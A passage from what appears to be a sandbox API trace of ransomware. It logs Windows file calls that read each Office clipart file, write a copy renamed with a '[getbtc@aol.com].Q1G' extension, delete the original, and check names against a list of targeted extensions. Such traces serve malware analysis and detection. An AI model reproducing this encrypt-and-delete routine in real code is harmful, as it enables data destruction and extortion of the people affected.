Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.352] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.352] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.353] GetLastError () returned 0x0 [0243.353] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x265a, lpOverlapped=0x0) returned 1 [0243.354] WriteFile (in: hFile=0x3a4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0243.356] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.356] WriteFile (in: hFile=0x3a4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.356] SetEndOfFile (hFile=0x3a4) returned 1 [0243.356] CloseHandle (hObject=0x3a4) returned 1 [0243.356] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.356] SetEndOfFile (hFile=0x398) returned 1 [0243.359] CloseHandle (hObject=0x398) returned 1 [0243.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0243.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.359] lstrlenW (lpString=".doc") returned 4 [0243.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.359] lstrlenW (lpString=".docx") returned 5 [0243.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.360] lstrlenW (lpString=".pdf") returned 4 [0243.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.360] lstrlenW (lpString=".xls") returned 4 [0243.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.360] lstrlenW (lpString=".xlsx") returned 5 [0243.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.360] lstrlenW (lpString=".ppt") returned 4 [0243.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.360] lstrlenW (lpString=".zip") returned 4 [0243.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.360] lstrlenW (lpString=".rar") returned 4 [0243.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.360] lstrlenW (lpString=".bz2") returned 4 [0243.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.360] lstrlenW (lpString=".7z") returned 3 [0243.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.360] lstrlenW (lpString=".dbf") returned 4 [0243.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.360] lstrlenW (lpString=".1cd") returned 4 [0243.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.360] lstrlenW (lpString=".jpg") returned 4 [0243.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.360] lstrlenW (lpString=".doc") returned 4 [0243.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.361] lstrlenW (lpString=".docx") returned 5 [0243.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.361] lstrlenW (lpString=".pdf") returned 4 [0243.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.361] lstrlenW (lpString=".xls") returned 4 [0243.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.361] lstrlenW (lpString=".xlsx") returned 5 [0243.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.361] lstrlenW (lpString=".ppt") returned 4 [0243.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.361] lstrlenW (lpString=".zip") returned 4 [0243.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.361] lstrlenW (lpString=".rar") returned 4 [0243.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.361] lstrlenW (lpString=".bz2") returned 4 [0243.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.361] lstrlenW (lpString=".7z") returned 3 [0243.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.361] lstrlenW (lpString=".dbf") returned 4 [0243.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.361] lstrlenW (lpString=".1cd") returned 4 [0243.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0243.361] lstrlenW (lpString=".jpg") returned 4 [0243.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.361] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.361] lstrlenW (lpString="BL00045_.WMF") returned 12 [0243.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.362] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7862) returned 1 [0243.362] CloseHandle (hObject=0x398) returned 1 [0243.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0243.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.362] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.362] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0243.363] GetLastError () returned 0x0 [0243.363] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0243.364] WriteFile (in: hFile=0x3a4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0243.365] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.365] WriteFile (in: hFile=0x3a4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.366] SetEndOfFile (hFile=0x3a4) returned 1 [0243.366] CloseHandle (hObject=0x3a4) returned 1 [0243.366] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.366] SetEndOfFile (hFile=0x398) returned 1 [0243.368] CloseHandle (hObject=0x398) returned 1 [0243.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0243.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.369] lstrlenW (lpString=".doc") returned 4 [0243.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.369] lstrlenW (lpString=".docx") returned 5 [0243.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.369] lstrlenW (lpString=".pdf") returned 4 [0243.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.369] lstrlenW (lpString=".xls") returned 4 [0243.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.369] lstrlenW (lpString=".xlsx") returned 5 [0243.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.369] lstrlenW (lpString=".ppt") returned 4 [0243.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.369] lstrlenW (lpString=".zip") returned 4 [0243.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.370] lstrlenW (lpString=".rar") returned 4 [0243.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString=".bz2") returned 4 [0243.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString=".7z") returned 3 [0243.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.370] lstrlenW (lpString=".dbf") returned 4 [0243.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.370] lstrlenW (lpString=".1cd") returned 4 [0243.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.370] lstrlenW (lpString=".jpg") returned 4 [0243.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.370] lstrlenW (lpString=".doc") returned 4 [0243.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString=".docx") returned 5 [0243.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.370] lstrlenW (lpString=".pdf") returned 4 [0243.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString=".xls") returned 4 [0243.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.370] lstrlenW (lpString=".xlsx") returned 5 [0243.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.370] lstrlenW (lpString=".ppt") returned 4 [0243.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.371] lstrlenW (lpString=".zip") returned 4 [0243.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.371] lstrlenW (lpString=".rar") returned 4 [0243.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.371] lstrlenW (lpString=".bz2") returned 4 [0243.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.371] lstrlenW (lpString=".7z") returned 3 [0243.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.371] lstrlenW (lpString=".dbf") returned 4 [0243.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.371] lstrlenW (lpString=".1cd") returned 4 [0243.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0243.371] lstrlenW (lpString=".jpg") returned 4 [0243.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.371] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.371] lstrlenW (lpString="BL00098_.WMF") returned 12 [0243.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.372] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1012) returned 1 [0243.380] CloseHandle (hObject=0x398) returned 1 [0243.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0243.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.456] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.456] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.522] GetLastError () returned 0x0 [0243.522] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0243.523] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x400, lpOverlapped=0x0) returned 1 [0243.524] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.524] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.525] SetEndOfFile (hFile=0x3a0) returned 1 [0243.525] CloseHandle (hObject=0x3a0) returned 1 [0243.525] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.525] SetEndOfFile (hFile=0x398) returned 1 [0243.527] CloseHandle (hObject=0x398) returned 1 [0243.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0243.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.528] lstrlenW (lpString=".doc") returned 4 [0243.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.528] lstrlenW (lpString=".docx") returned 5 [0243.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.528] lstrlenW (lpString=".pdf") returned 4 [0243.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.528] lstrlenW (lpString=".xls") returned 4 [0243.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.528] lstrlenW (lpString=".xlsx") returned 5 [0243.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.529] lstrlenW (lpString=".ppt") returned 4 [0243.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.529] lstrlenW (lpString=".zip") returned 4 [0243.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.529] lstrlenW (lpString=".rar") returned 4 [0243.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString=".bz2") returned 4 [0243.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString=".7z") returned 3 [0243.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.529] lstrlenW (lpString=".dbf") returned 4 [0243.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.529] lstrlenW (lpString=".1cd") returned 4 [0243.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.529] lstrlenW (lpString=".jpg") returned 4 [0243.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.529] lstrlenW (lpString=".doc") returned 4 [0243.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString=".docx") returned 5 [0243.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.529] lstrlenW (lpString=".pdf") returned 4 [0243.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.529] lstrlenW (lpString=".xls") returned 4 [0243.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.529] lstrlenW (lpString=".xlsx") returned 5 [0243.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.529] lstrlenW (lpString=".ppt") returned 4 [0243.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.530] lstrlenW (lpString=".zip") returned 4 [0243.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.530] lstrlenW (lpString=".rar") returned 4 [0243.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.530] lstrlenW (lpString=".bz2") returned 4 [0243.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.530] lstrlenW (lpString=".7z") returned 3 [0243.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.530] lstrlenW (lpString=".dbf") returned 4 [0243.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.530] lstrlenW (lpString=".1cd") returned 4 [0243.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0243.530] lstrlenW (lpString=".jpg") returned 4 [0243.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.530] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.530] lstrlenW (lpString="BL00105_.WMF") returned 12 [0243.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.531] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=880) returned 1 [0243.531] CloseHandle (hObject=0x398) returned 1 [0243.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0243.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.532] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, 